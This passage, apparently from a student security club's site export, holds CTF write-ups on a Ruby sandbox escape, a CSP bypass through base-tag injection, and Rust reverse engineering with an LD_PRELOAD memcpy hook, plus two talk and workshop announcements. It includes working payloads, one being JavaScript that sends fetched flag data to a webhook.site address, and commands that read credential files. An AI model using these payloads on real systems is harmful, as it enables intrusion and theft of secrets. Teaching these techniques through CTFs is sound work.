\u0026#34;dup\u0026#34;, \u0026#34;eql?\u0026#34;, \u0026#34;equal?\u0026#34;, \u0026#34;eval\u0026#34;, \u0026#34;fail\u0026#34;, \u0026#34;Float\u0026#34;, \u0026#34;format\u0026#34;, \u0026#34;freeze\u0026#34;, \u0026#34;frozen?\u0026#34;, \u0026#34;global_variables\u0026#34;, \u0026#34;gsub\u0026#34;, \u0026#34;gsub!\u0026#34;, \u0026#34;hash\u0026#34;, \u0026#34;id\u0026#34;, \u0026#34;initialize_copy\u0026#34;, \u0026#34;inspect\u0026#34;, \u0026#34;instance_eval\u0026#34;, \u0026#34;instance_of?\u0026#34;, \u0026#34;instance_variables\u0026#34;, \u0026#34;instance_variable_get\u0026#34;, \u0026#34;instance_variable_set\u0026#34;, \u0026#34;instance_variable_defined?\u0026#34;, \u0026#34;Integer\u0026#34;, \u0026#34;is_a?\u0026#34;, \u0026#34;iterator?\u0026#34;, \u0026#34;kind_of?\u0026#34;, \u0026#34;lambda\u0026#34;, \u0026#34;local_variables\u0026#34;, \u0026#34;loop\u0026#34;, \u0026#34;methods\u0026#34;, \u0026#34;method_missing\u0026#34;, \u0026#34;nil?\u0026#34;, \u0026#34;private_methods\u0026#34;, \u0026#34;print\u0026#34;, \u0026#34;proc\u0026#34;, \u0026#34;protected_methods\u0026#34;, \u0026#34;public_methods\u0026#34;, \u0026#34;raise\u0026#34;, \u0026#34;remove_instance_variable\u0026#34;, \u0026#34;respond_to?\u0026#34;, \u0026#34;respond_to_missing?\u0026#34;, \u0026#34;scan\u0026#34;, \u0026#34;send\u0026#34;, \u0026#34;singleton_methods\u0026#34;, \u0026#34;singleton_method_added\u0026#34;, \u0026#34;singleton_method_removed\u0026#34;, \u0026#34;singleton_method_undefined\u0026#34;, \u0026#34;split\u0026#34;, \u0026#34;sprintf\u0026#34;, \u0026#34;String\u0026#34;, \u0026#34;sub\u0026#34;, \u0026#34;sub!\u0026#34;, \u0026#34;taint\u0026#34;, \u0026#34;tainted?\u0026#34;, \u0026#34;throw\u0026#34;, \u0026#34;to_a\u0026#34;, \u0026#34;to_s\u0026#34;, \u0026#34;type\u0026#34;, \u0026#34;untaint\u0026#34;, \u0026#34;__send__\u0026#34;]) keep_methods(:NilClass, [\u0026#34;\u0026amp;\u0026#34;, \u0026#34;inspect\u0026#34;, \u0026#34;nil?\u0026#34;, \u0026#34;to_a\u0026#34;, \u0026#34;to_f\u0026#34;, \u0026#34;to_i\u0026#34;, \u0026#34;to_s\u0026#34;, \u0026#34;^\u0026#34;, \u0026#34;|\u0026#34;]) keep_methods(:TrueClass, [\u0026#34;\u0026amp;\u0026#34;, \u0026#34;to_s\u0026#34;, \u0026#34;^\u0026#34;, \u0026#34;|\u0026#34;]) keep_methods(:FalseClass, [\u0026#34;\u0026amp;\u0026#34;, \u0026#34;to_s\u0026#34;, \u0026#34;^\u0026#34;, \u0026#34;|\u0026#34;]) keep_methods(:Enumerable, [\u0026#34;all?\u0026#34;, \u0026#34;any?\u0026#34;, \u0026#34;collect\u0026#34;, \u0026#34;detect\u0026#34;, \u0026#34;each_with_index\u0026#34;, \u0026#34;entries\u0026#34;, \u0026#34;find\u0026#34;, \u0026#34;find_all\u0026#34;, \u0026#34;grep\u0026#34;, \u0026#34;include?\u0026#34;, \u0026#34;inject\u0026#34;, \u0026#34;map\u0026#34;, \u0026#34;max\u0026#34;, \u0026#34;member?\u0026#34;, \u0026#34;min\u0026#34;, \u0026#34;partition\u0026#34;, \u0026#34;reject\u0026#34;, \u0026#34;select\u0026#34;, \u0026#34;sort\u0026#34;, \u0026#34;sort_by\u0026#34;, \u0026#34;to_a\u0026#34;, \u0026#34;zip\u0026#34;]) keep_methods(:String, [\u0026#34;%\u0026#34;, \u0026#34;*\u0026#34;, \u0026#34;+\u0026#34;, \u0026#34;\u0026lt;\u0026lt;\u0026#34;, \u0026#34;\u0026lt;=\u0026gt;\u0026#34;, \u0026#34;==\u0026#34;, \u0026#34;=~\u0026#34;, \u0026#34;capitalize\u0026#34;, \u0026#34;capitalize!\u0026#34;, \u0026#34;casecmp\u0026#34;, \u0026#34;center\u0026#34;, \u0026#34;chomp\u0026#34;, \u0026#34;chomp!\u0026#34;, \u0026#34;chop\u0026#34;, \u0026#34;chop!\u0026#34;, \u0026#34;concat\u0026#34;, \u0026#34;count\u0026#34;, \u0026#34;crypt\u0026#34;, \u0026#34;delete\u0026#34;, \u0026#34;delete!\u0026#34;, \u0026#34;downcase\u0026#34;, \u0026#34;downcase!\u0026#34;, \u0026#34;dump\u0026#34;, \u0026#34;each\u0026#34;, \u0026#34;each_byte\u0026#34;, \u0026#34;each_line\u0026#34;, \u0026#34;empty?\u0026#34;, \u0026#34;eql?\u0026#34;, \u0026#34;gsub\u0026#34;, \u0026#34;gsub!\u0026#34;, \u0026#34;hash\u0026#34;, \u0026#34;hex\u0026#34;, \u0026#34;include?\u0026#34;, \u0026#34;index\u0026#34;, \u0026#34;initialize\u0026#34;, \u0026#34;initialize_copy\u0026#34;, \u0026#34;insert\u0026#34;, \u0026#34;inspect\u0026#34;, \u0026#34;intern\u0026#34;, \u0026#34;length\u0026#34;, \u0026#34;ljust\u0026#34;, \u0026#34;lines\u0026#34;, \u0026#34;lstrip\u0026#34;, \u0026#34;lstrip!\u0026#34;, \u0026#34;match\u0026#34;, \u0026#34;next\u0026#34;, \u0026#34;next!\u0026#34;, \u0026#34;oct\u0026#34;, \u0026#34;replace\u0026#34;, \u0026#34;reverse\u0026#34;, \u0026#34;reverse!\u0026#34;, \u0026#34;rindex\u0026#34;, \u0026#34;rjust\u0026#34;, \u0026#34;rstrip\u0026#34;, \u0026#34;rstrip!\u0026#34;, \u0026#34;scan\u0026#34;, \u0026#34;size\u0026#34;, \u0026#34;slice\u0026#34;, \u0026#34;slice!\u0026#34;, \u0026#34;split\u0026#34;, \u0026#34;squeeze\u0026#34;, \u0026#34;squeeze!\u0026#34;, \u0026#34;strip\u0026#34;, \u0026#34;strip!\u0026#34;, \u0026#34;start_with?\u0026#34;, \u0026#34;sub\u0026#34;, \u0026#34;sub!\u0026#34;, \u0026#34;succ\u0026#34;, \u0026#34;succ!\u0026#34;, \u0026#34;sum\u0026#34;, \u0026#34;swapcase\u0026#34;, \u0026#34;swapcase!\u0026#34;, \u0026#34;to_f\u0026#34;, \u0026#34;to_i\u0026#34;, \u0026#34;to_s\u0026#34;, \u0026#34;to_str\u0026#34;, \u0026#34;to_sym\u0026#34;, \u0026#34;tr\u0026#34;, \u0026#34;tr!\u0026#34;, \u0026#34;tr_s\u0026#34;, \u0026#34;tr_s!\u0026#34;, \u0026#34;upcase\u0026#34;, \u0026#34;upcase!\u0026#34;, \u0026#34;upto\u0026#34;, \u0026#34;[]\u0026#34;, \u0026#34;[]=\u0026#34;]) Kernel.class_eval do def `(*args) raise NoMethodError, \u0026#34;` is unavailable\u0026#34; end def system(*args) raise NoMethodError, \u0026#34;system is unavailable\u0026#34; end end clean_constants result = eval(%q(1 + 1;sleep(5);)) print Marshal.dump(result) As seen above, there is a long list of functions which are blocked by the SafeRuby class. This is to prevent the user from executing malicious code.\nFinding vulnerable functions Now that we know what functions are available to us, we can start to look for functions which we can use to exploit the application.\nWhile we were doing the sections above, we stumbled across a website which contained a similar challenge.\nIn the case above, the user made use of the unblacklisted open function to read the contents of a file. Thus, we decided to do the same thing to read the files which were not provided to us.\nFunction that we used.\nopen(\u0026#39;filename\u0026#39;, \u0026amp;:read) As we did not have permission to read flag.txt, we will have to find a way to execute getflag in order to get the flag.\nFinding a way to execute code After digging through a lot of documentation, we stumbled upon Kernel Documentation from ruby and found out that the spawn method was not blacklisted.\nWe have now found a way to execute code on the challenge server. With that knowledge in mind, we can now execute getflag to get the flag on the server.\nWe can make use of spawn and the \u0026gt; operator to redirect the output of getflag to a file.\nSubsequently, we can spawn another process to read the file to see what is the output of getflag.\nCode snippet\n# First payload to write to the file spawn(\u0026#39;/getflag \u0026gt; /tmp/lol\u0026#39;); # Second payload to read the file open(\u0026#39;/tmp/lol\u0026#39;, \u0026amp;:read); Actually running getflag At first, we thought that getflag would just be the completion of the challenge. However, there was a further step we have to solve before getting the flag.\nWhen we first ran getflag, we got the following output:\nPlease provide the secret from `/app/config/credentials.yml.enc` as argv[1] The getflag binary actually require us to get the secret from the credentials.yml.enc file.\nSo we went to read the file with\nopen(\u0026#39;/app/config/credentials.yml.enc\u0026#39;, \u0026amp;:read) Figuring out what is /app/config/credentials.yml.enc As we have no idea how to decrypt credentials.yml.enc, we decided to do a quick google search to figure that out.\nWe stumbled across a github repository which contains a script to decrypt the file. However, in order to decrypt the file, we have to obtain master.key which is the next file we read from the server.\nAfter running the command, we managed to get the secret from the credentials.yml.enc file.\nyay_you_decoded_me_now_go_get_your_flag_boiii Note: For those facing an issue in python3, there are you will have to update the unmasterify function to the one below.\ndef unmasterify(master_key): return bytes.fromhex(master_key) Getting the flag After getting the secret, we can now run getflag again to get the flag.\nFlag: EPFL{https://youtu.be/ya2Sx8xmMpc#Because_why_not...}\n","permalink":"https://nusgreyhats.org/posts/writeups/lakectf-finals-2022-calc-you-later/","summary":"LakeCTF Finals Last weekend was LakeCTF finals. This was my first time participating in a CTF finals overseas and had lots of fun!\nThis is a writeup for the Web: Calc-You-Later challenge which was solved together by Devesh and I from NUS Greyhats.\nThis is an adaptation from the original post here\nChallenge Description Calc-You-Later, alligator. Call /getflag and follow the instructions http://chall.polygl0ts.ch:4600 It also provides a link to the source code of the challenge which is provided here.","title":"[LakeCTF Finals 2022] Calc-You-Later"},{"content":"Talk 1: 1900Hrs - 1945Hrs Title: Introduction to System Defence as discipline\nSpeaker Bio Kalai is an engineering graduate and Masters in Business Administration with 18 years of work experience. She worked as a software developer before transitioning to Cyber Security and is SME for Application Monitoring and Response function in APAC.\nTalk 2: 1945Hrs - 2030Hrs Title: Vulnerability Assessment and Penetration Testing (VAPT) in the Software Development Lifecycle – Why it is important to have VAPT programs\nSpeaker Bio Ayush is a Computer Science graduate and has 12 years of work experience. He has multiple certifications in Cyber Security and is an SME for Malware Analysis function in APAC.\nHarris Ramli is a seasoned penetration tester with 15 years of work experience. He is specialized in web and mobile penetration testing and holds multiple cyber security certifications.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2223s1/sw0211/","summary":"Talk 1: 1900Hrs - 1945Hrs Title: Introduction to System Defence as discipline\nSpeaker Bio Kalai is an engineering graduate and Masters in Business Administration with 18 years of work experience. She worked as a software developer before transitioning to Cyber Security and is SME for Application Monitoring and Response function in APAC.\nTalk 2: 1945Hrs - 2030Hrs Title: Vulnerability Assessment and Penetration Testing (VAPT) in the Software Development Lifecycle – Why it is important to have VAPT programs","title":"SecWed #021122"},{"content":"Description The workshop will cover:\nSQL Injection (SQLi) Cross-Site Scripting (XSS) Local File Injection (LFI) OS Command Injection (If there is time) There will be 3 main components for each section:\nWhat is the vulnerability At least 1 CTF challenge for you to try out. How to mitigate the vulnerability Requirements before you come for the workshop\nBurp Suite Docker (If you want to host the challenge locally) ","permalink":"https://nusgreyhats.org/posts/secweds/ay2223s1/sw1910/","summary":"Description The workshop will cover:\nSQL Injection (SQLi) Cross-Site Scripting (XSS) Local File Injection (LFI) OS Command Injection (If there is time) There will be 3 main components for each section:\nWhat is the vulnerability At least 1 CTF challenge for you to try out. How to mitigate the vulnerability Requirements before you come for the workshop\nBurp Suite Docker (If you want to host the challenge locally) ","title":"SecWed #191022"},{"content":"This is ported over from my blog. View the original post here\nWeb: People With the new People personal pages, all the members of the EPFL community can have their own page personalize it with Markdown and much more... http://chall.polygl0ts.ch:4000 This challenge involves a profile page that we can edit. There is also an admin who will visit our page when there is a profile that is reported.\nThe first thing that I though of was Cross Site Scripting. Usually, when there is an admin bot involve, chances are the website was vulnerable to cross site scripting.\nHere is the website\nScanning through the main file, I was looking for things that are user controlled inputs. If we take note of how the user inputs are treated. In this case these were the main code that we were looking at.\n... @main.route(\u0026#39;/signup\u0026#39;, methods=[\u0026#39;POST\u0026#39;]) @limiter.limit(\u0026#34;4/minute\u0026#34;) def signup_post(): email = request.form.get(\u0026#39;email\u0026#39;) password = request.form.get(\u0026#39;password\u0026#39;) fullname = request.form.get(\u0026#39;fullname\u0026#39;) title = request.form.get(\u0026#39;title\u0026#39;) lab = request.form.get(\u0026#39;lab\u0026#39;) bio = request.form.get(\u0026#39;bio\u0026#39;) user = User.query.filter_by(email=email).first() if user: flash(\u0026#39;Email address already exists\u0026#39;, \u0026#39;danger\u0026#39;) return redirect(url_for(\u0026#39;main.signup\u0026#39;)) new_user = User(id=secrets.token_hex(16), email=email, password=generate_password_hash(password), fullname=fullname, title=title, lab=lab, bio=bio) db.session.add(new_user) db.session.commit() login_user(new_user) return redirect(url_for(\u0026#39;main.profile\u0026#39;)) ... @main.route(\u0026#39;/edit\u0026#39;, methods=[\u0026#39;POST\u0026#39;]) @login_required def edit_post(): User.query.filter_by(id=current_user.id).update({ \u0026#39;fullname\u0026#39;: request.form.get(\u0026#39;fullname\u0026#39;), \u0026#39;title\u0026#39;: request.form.get(\u0026#39;title\u0026#39;), \u0026#39;lab\u0026#39;: request.form.get(\u0026#39;lab\u0026#39;), \u0026#39;bio\u0026#39;: request.form.get(\u0026#39;bio\u0026#39;) }) db.session.commit() return redirect(url_for(\u0026#39;main.profile\u0026#39;)) ... Looking at the functions above, we can see that they inputs from the users were not sanitized. This means that whatever we sent to might be loaded at some time later on. This seems like a good sign for Reflected XSS.\nAfter inspecting the webpage, we can see that some of our variables are on the page.\nNow that we know that our inputs can be tainted, we need to take a look at where the results of our inputs are loaded. The function mainly consists of the following code.\n... @main.route(\u0026#39;/profile\u0026#39;, defaults={\u0026#39;user_id\u0026#39;: None}) @main.route(\u0026#39;/profile/\u0026lt;user_id\u0026gt;\u0026#39;) def profile(user_id): if user_id: user = User.query.filter_by(id=user_id).first() if not user: abort(404) elif current_user.is_authenticated: user = current_user else: return redirect(url_for(\u0026#39;main.login\u0026#39;)) return render_template(\u0026#39;profile.html\u0026#39;, user=user, own_profile=user == current_user) ... This means that the variables were passed to the profile.html template which is rendered by jinja2.\nIn flask, the variables passed into it are autoescaped unless some instructions were used to unescape it, such as |safe or {% autoescape false %}. For more information you can refer to jinja\u0026rsquo;s documentation.\n\u0026lt;dl class=\u0026#34;definition-list definition-list-grid\u0026#34;\u0026gt; \u0026lt;dt\u0026gt;Contact\u0026lt;/dt\u0026gt; \u0026lt;dd class=\u0026#34;flex\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;mailto:{{ user[\u0026#39;email\u0026#39;] }}\u0026#34; class=\u0026#34;btn btn-sm btn-primary\u0026#34; \u0026gt; {{ user[\u0026#39;email\u0026#39;] }} \u0026lt;/a\u0026gt; \u0026lt;/dd\u0026gt; \u0026lt;/dl\u0026gt; ... \u0026lt;dd class=\u0026#34;flex\u0026#34;\u0026gt; {% if own_profile %} \u0026lt;a href=\u0026#34;{{ url_for(\u0026#39;main.edit\u0026#39;) }}\u0026#34; class=\u0026#34;btn btn-sm btn-secondary\u0026#34;\u0026gt;Edit profile\u0026lt;/a\u0026gt; {% endif %} \u0026lt;form action=\u0026#34;{{ url_for(\u0026#39;main.report\u0026#39;, _external=True, user_id=user[\u0026#39;id\u0026#39;]) }}\u0026#34; method=\u0026#34;post\u0026#34;\u0026gt; \u0026lt;button type=\u0026#34;submit\u0026#34; class=\u0026#34;btn btn-sm btn-secondary\u0026#34;\u0026gt;Report profile\u0026lt;/a\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/dd\u0026gt; ... \u0026lt;div class=\u0026#34;markdown\u0026#34;\u0026gt;{{ user[\u0026#39;bio\u0026#39;] }}\u0026lt;/div\u0026gt; ... {% set description = \u0026#39;%s at %s\u0026#39; % (user[\u0026#39;title\u0026#39;], user[\u0026#39;lab\u0026#39;]) %} {% block title %}{{user[\u0026#39;fullname\u0026#39;]}} | {{description|safe}}{% endblock %} As we can see from the template, most of the variables are loaded into the template with sanitization except for user['title'] and user['lab']. This means that it was the only place for us to put our XSS payload.\nUsing Burp Suite, I manage to trace down the request to edit the page. By sending it to the repeater, we can edit the request later to edit our profile at will.\nFrom the repeater page, we can see that all of the fields are sent over in plain text. Although title and lab are implemented as dropdowns within the website, we are still able to send other different values through burp.\nTime to send a script tag right?\nI was expecting to place a script there and call it a day, however, the flask file was protected by a Content Security Policy\ncsp = { \u0026#39;script-src\u0026#39;: \u0026#39;\u0026#39;, \u0026#39;object-src\u0026#39;: \u0026#34;\u0026#39;none\u0026#39;\u0026#34;, \u0026#39;style-src\u0026#39;: \u0026#34;\u0026#39;self\u0026#39;\u0026#34;, \u0026#39;default-src\u0026#39;: [\u0026#39;*\u0026#39;, \u0026#39;data:\u0026#39;] } Talisman(app, force_https=False, strict_transport_security=False, session_cookie_secure=False, content_security_policy=csp, content_security_policy_nonce_in=[\u0026#39;script-src\u0026#39;]) This means that any of the scripts that I include must contain a nonce and any other objects I used cannot have an external source.\nHmm, I was stuck. I cannot use \u0026lt;script\u0026gt; or \u0026lt;img onerror='...'\u0026gt; directly anymore. I needed another way to bypass this.\nFrom the help of another CTF fellow player, I learnt that there was something called a base injection. A \u0026lt;base\u0026gt; tag can be injected into the website which makes it default all its import links to use that url as a base.\nIf I inject that into the title field, any subsequent script tags will import from that base instead.\nTime to put that into action.\nI uploaded by script to github here and setup github pages to give me an ip address to use as a base. I also created a folder structure that corresponds to the path that the website is importing from.\nfunction httpGet(theUrl) { var xmlHttp = new XMLHttpRequest(); xmlHttp.open(\u0026#34;GET\u0026#34;, theUrl, false); // false for synchronous request xmlHttp.send(null); return xmlHttp.responseText; } let payload1 = \u0026#34;/\u0026#34;; try { const resp456416512364p = httpGet(\u0026#34;http://web:8080/flag\u0026#34;); payload1 = \u0026#34;https://webhook.site/5e88af09-1ab7-408f-bf46-65e63746ee3e/?c=\u0026#34; + resp456416512364p; } catch { console.log(\u0026#34;Error\u0026#34;); } const DOMPurify = { sanitize: () =\u0026gt; { document.location.href = payload1; }, }; document.location.href = payload1; In the script, I make a GET request to the location of the flag. If I am able to get the flag, I will send it to my webhook. If not, I will just redirect to the home page.\nThe url for the website is derived based on the admin bot script\nasync def visit(user_id, admin_token): url = f\u0026#39;http://web:8080/profile/{user_id}\u0026#39; ... await page.setCookie({\u0026#39;name\u0026#39;: \u0026#39;admin_token\u0026#39;, \u0026#39;value\u0026#39;: admin_token, \u0026#39;url\u0026#39;: \u0026#39;http://web:8080\u0026#39;, \u0026#39;httpOnly\u0026#39;: True, \u0026#39;sameSite\u0026#39;: \u0026#39;Strict\u0026#39;}) ... TLDR: This admin script asks the bot to visit web:8080 and set the cookie admin_token to the value of admin_token. This means that the bot will visit web:8080/profile/{user_id} with the admin cookie set.\n--- web: container_name: web build: context: . dockerfile: Dockerfile.web environment: - FLAG=EPFL{REDACTED} depends_on: - redis ports: - \u0026#34;8080:8080\u0026#34; In docker, we can reference the hostname of a container by using their container name. The admin bot visits web:8080 as that is the configuration set in the docker-compose.yml file as shown above. So in this case, my script prompts a get request to web:8080/flag instead of the full url.\nAfter that the request is attached as a query parameter to the base url of my webhook site and the page was subsequently redirected to it.\nThe github pages is available at payload.jh123x.com. It was time to inject my base and see the result on webhook.site.\nThe payload that I used for the base injection is shown below and the github link upload is hosted at that url. This payload was only injected into the lab field.\nThis payload will work if you inject it into either of the fields as both of them are combined together to form the description in the title tag.\n\u0026lt;/title\u0026gt;\u0026lt;base href=\u0026#34;http://payload.jh123x.com/\u0026#34; /\u0026gt; The \u0026lt;/title\u0026gt; closes the title tag and the \u0026lt;base\u0026gt; tag is the payload. The href attribute is the base url that the website will use to import from.\nAfter tinkering around for a few hours, I manage to get the redirect and the flag was mine.\nThe flag is attached to the url as a query parameter\nFlag: EPFL{Th1s_C5P_byp4ss_1s_b4sed}\nIf you want to try the challenge, you can find it here.\nNote Not sure why but it took a few tries to get the flag to show up.\n","permalink":"https://nusgreyhats.org/posts/writeups/lakectf-quals-2022-people/","summary":"This is ported over from my blog. View the original post here\nWeb: People With the new People personal pages, all the members of the EPFL community can have their own page personalize it with Markdown and much more... http://chall.polygl0ts.ch:4000 This challenge involves a profile page that we can edit. There is also an admin who will visit our page when there is a profile that is reported.\nThe first thing that I though of was Cross Site Scripting.","title":"[LakeCTF Quals 2022] People"},{"content":"Ported from my own blog https://rootkiddie.com/blog/post/ctf/tamu2022/obsessive-checking/writeup/\nIntroduction This is a relatively challenging reverse engineering problem. Thankfully, the hint provided is very helpful. The link to the writeup for the challenge eBook DRM is https://ubcctf.github.io/2022/03/utctf-ebook-drm/. Strongly recommend a read as it is a very well written write up.\nInitial Analysis Unzipping the challenge file, I was given 2 files. obsessive-checking and flag_book.txt.bin. Based the write-up above, I figured that this challenge also requires some way to proxy library functions to extract the key from obsessive-checking to decrypt the flag book file. However, unlike the UBCTF challenge, this challenge is written in RUST which added much more complexity to the analysis since it adds its own runtime and library to your code. Given that Rust is only starting to gain popularity in recent years, there\u0026rsquo;s little information on Rust reverse engineering online. Therefore, I need to do a little exploration on my own.\nFinding the main method The decompilation of the binary reveals a massive main function. However, I quickly realised that this is simply the setting up of the Rust runtime or sorts. The real main function can be found by ctrl-f and search for the keyword main. From this point on, main will refer to this obsessive_checking::main method instead of the ELF entry main method.\nUnderstanding the real main method The decompilation of the main method shows 2492 lines in Ghidra. That\u0026rsquo;s a massive function to analyse. Searching for strings did not result in any useful results either since the non-debugging output is only printed after decrypting the flag file. Therefore, I decided to use a little dynamic analysis to figure out where the main logic is. The trick I used here is to set breakpoints on printing functions and use backtraces to figure out where does the printing start. So, setting breakpoint on core::fmt::write and run it in gdb, I found where the user logic is ran. Looking at the decompilation in Ghidra, we have From the stack-trace, we can see that the printing is done through the future poll. Based on my knowledge about Future from Java, it is an asynchronous composable structure that encloses program instructions. They are easy to read in code but a nightmare to reverse engineer as it\u0026rsquo;s basically like a statically linked ELF with stripped symbols. But at this point, I already have a general idea on how this program work. Basically, the entire read file, delay, decrypt, print process is composed in Future and ran asynchronously. Now, we just need to figure out how to find the decryption key and the decryption algorithm.\nFiguring out the decryption So out of the 4 steps (read, delay, decrypt, print), the only step that I am interested in is how the decryption is done. However, unlike the UBCTF where the binary is clearly using an openssl decryption function, this challenge does not seem to import any crypto libraries. That means, I need to figure out how the decryption structures are set up and hopefully extract the key from the structure initializations.\nThe Proxy During analysis of main function, I also realised that rust library uses memcpy to move datastructures around. Using the hint from UBCTF, I decided to proxy the memcpy function.\n#include \u0026lt;string.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; void *memcpy(void *dst, const void *src, size_t n) { printf(\u0026#34;dst %p src %p size: %ld\\n\u0026#34;, dst, src, n); void *handle = dlopen(\u0026#34;/usr/lib/x86_64-linux-gnu/libc-2.31.so\u0026#34;, RTLD_NOW); void *(*orig_func)() = dlsym(handle, \u0026#34;memcpy\u0026#34;); return orig_func(dst, src, n); } Compiling with gcc -fPIC -shared OCDMeds.c -o OCDMeds.so and running the binary with LD_PRELOAD=./OCDMeds.so ./obsessive-checking flag_book.txt.bin I have the following output.\n... dst 0x7ffde6600d40 src 0x7ffde6600f20 size: 216 dst 0x7ffde6600880 src 0x7ffde6600d40 size: 216 dst 0x5598df52cb20 src 0x7ffde6600840 size: 296 dst 0x7ffde6601b01 src 0x5598df523d30 size: 16 dst 0x7ffde6601b01 src 0x5598df523d40 size: 16 dst 0x7ffde6601b01 src 0x5598df523d50 size: 16 dst 0x7ffde6601b01 src 0x5598df523d60 size: 16 dst 0x7ffde6601b01 src 0x5598df523d70 size: 16 dst 0x7ffde6601b01 src 0x5598df523d80 size: 16 dst 0x5598df52cce0 src 0x5598df52cc50 size: 80 dst 0x5598df52cd30 src 0x5598de995e4e size: 1 why yes, this is a string of output; unfortunately, it won\u0026#39;t do you much good... dst 0x5598df52cce0 src 0x5598de995e4f size: 0 dst 0x7ffde6601b01 src 0x5598df523d90 size: 16 dst 0x7ffde6601b01 src 0x5598df523da0 size: 16 dst 0x7ffde6601b01 src 0x5598df523db0 size: 16 dst 0x7ffde6601b01 src 0x5598df523dc0 size: 16 dst 0x7ffde6601b01 src 0x5598df523dd0 size: 16 dst 0x5598df52cce0 src 0x5598df52cc50 size: 80 dst 0x5598df52cd30 src 0x5598de995e4e size: 1 why yes, this is a string of output; unfortunately, it won\u0026#39;t do you much good... dst 0x5598df52cce0 src 0x5598de995e4f size: 0 dst 0x7ffde6601b01 src 0x5598df523de0 size: 16 dst 0x7ffde6601b01 src 0x5598df523df0 size: 16 dst 0x7ffde6601b01 src 0x5598df523e00 size: 16 dst 0x7ffde6601b01 src 0x5598df523e10 size: 16 dst 0x7ffde6601b01 src 0x5598df523e20 size: 16 ... Seeing the nice whole number 16, and the output string why yes, this is a string of output; unfortunately, it won't do you much good... is exactly 80 characters long, I knew that this is almost certainly a block cipher. The program is copying 5 blocks of cipher text from our flag file, decrypt them and print them to console before a delay is introduced. I also noted that the first 80-bytes block has an additional 16 bytes memcpy-ed which I assumed is the IV. 16 bytes IV? It seems like we are dealing with AES just like UBCTF. However, we can\u0026rsquo;t be certain about that yet.\nThe Better Proxy To get more information from the proxy, I decided to make it better.\n#include \u0026lt;string.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;dlfcn.h\u0026gt; /* Paste this on the file you want to debug. */ #include \u0026lt;execinfo.h\u0026gt; void print_trace(void) { char **strings; size_t i, size; enum Constexpr { MAX_SIZE = 1024 }; void *array[MAX_SIZE]; size = backtrace(array, MAX_SIZE); strings = backtrace_symbols(array, size); for (i = 0; i \u0026lt; size; i++) printf(\u0026#34;%s\\n\u0026#34;, strings[i]); puts(\u0026#34;\u0026#34;); free(strings); } void *memcpy(void *dst, const void *src, size_t n) { printf(\u0026#34;dst %p src %p size: %ld\\n\u0026#34;, dst, src, n); if (n == 16 || n==24 || n==32) { const char *buf = (const char*)src; for (int i=0; i\u0026lt;n ; i++) { printf(\u0026#34;%02hhx\u0026#34;, buf[i]); } puts(\u0026#34;\u0026#34;); for (int i=0; i\u0026lt;n; i++) { printf(\u0026#34;%c\u0026#34;, buf[i]); } puts(\u0026#34;\u0026#34;); print_trace(); } void *handle = dlopen(\u0026#34;/usr/lib/x86_64-linux-gnu/libc-2.31.so\u0026#34;, RTLD_NOW); void *(*orig_func)() = dlsym(handle, \u0026#34;memcpy\u0026#34;); return orig_func(dst, src, n); } And the output\n... dst 0x55b3ad7a4470 src 0x7ffd70dff2a8 size: 136 dst 0x55b3ad7a80a0 src 0x55b3ad7aa0b0 size: 8192 dst 0x7ffd70e00821 src 0x55b3ad7a80a0 size: 16 509570e72f82ecb73d231a80abe75f57 Pp/=#\u001a_W ./OCDMeds.so(print_trace+0x47) [0x7f913d2d9280] ./OCDMeds.so(memcpy+0xe6) [0x7f913d2d940b] ./obsessive-checking(+0x17db8) [0x55b3abd4cdb8] ./obsessive-checking(+0x1912c) [0x55b3abd4e12c] ./obsessive-checking(+0x1f1fb) [0x55b3abd541fb] ./obsessive-checking(+0xf043) [0x55b3abd44043] ./obsessive-checking(+0x21bc7) [0x55b3abd56bc7] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf3) [0x7f913cf630b3] ./obsessive-checking(+0xee8e) [0x55b3abd43e8e] dst 0x7ffd70dff570 src 0x7ffd70e00638 size: 344 dst 0x7ffd70dffa70 src 0x7ffd70dffc50 size: 240 dst 0x7ffd70dff570 src 0x7ffd70dffa70 size: 480 dst 0x7ffd70e00070 src 0x7ffd70dff570 size: 960 ... dst 0x55b3ad7b1150 src 0x7ffd70dff570 size: 296 dst 0x7ffd70e00831 src 0x55b3ad7a80b0 size: 16 d8f602f6a56578b0eaa36d391b91cdc7 \u0002exm9 CDMeds.so(print_trace+0x47) [0x7f913d2d9280] ./OCDMeds.so(memcpy+0xe6) [0x7f913d2d940b] ./obsessive-checking(+0x17db8) [0x55b3abd4cdb8] ./obsessive-checking(+0x1b532) [0x55b3abd50532] ./obsessive-checking(+0x1f1fb) [0x55b3abd541fb] ./obsessive-checking(+0xf043) [0x55b3abd44043] ./obsessive-checking(+0x21bc7) [0x55b3abd56bc7] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf3) [0x7f913cf630b3] ./obsessive-checking(+0xee8e) [0x55b3abd43e8e] dst 0x7ffd70e00831 src 0x55b3ad7a80c0 size: 16 9e5d10ead375601989296a81c9fd55f2 ]\u0010u`\u0019)jU ./OCDMeds.so(print_trace+0x47) [0x7f913d2d9280] ./OCDMeds.so(memcpy+0xe6) [0x7f913d2d940b] ./obsessive-checking(+0x17db8) [0x55b3abd4cdb8] ./obsessive-checking(+0x1b532) [0x55b3abd50532] ./obsessive-checking(+0x1f1fb) [0x55b3abd541fb] ./obsessive-checking(+0xf043) [0x55b3abd44043] ./obsessive-checking(+0x21bc7) [0x55b3abd56bc7] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf3) [0x7f913cf630b3] ./obsessive-checking(+0xee8e) [0x55b3abd43e8e] Analysing the proxy output From the better proxy, I found out that the obsessive-checking(+0x17db8) is in the read file function since both the IV and cipher blocks invoke this function. For initialization, it is most likely done in obsessive-checking(+0x1912c) and decryption in obsessive-checking(+0x1b532). Using either Ghidra / GDB (stepping after the read function), we can find out that the decryption algorithm used is AES-256. That means we need to look for a 32 bytes key. Checking the proxy log, we did not memcpy and 32 bytes structure. My guess is that the key is deterministically generated from a structure of different size and not easily extracted through memcpy proxy.\nFinding the Decryption Key After realising that we are dealing with AES, I decided to take a look at which function I can set the breakpoint to extract the key. So I went to checkout the RUST AES implementation in https://github.com/RustCrypto/. After 20-30 minutes of reading the source code, I realised that KeyInit might be a good 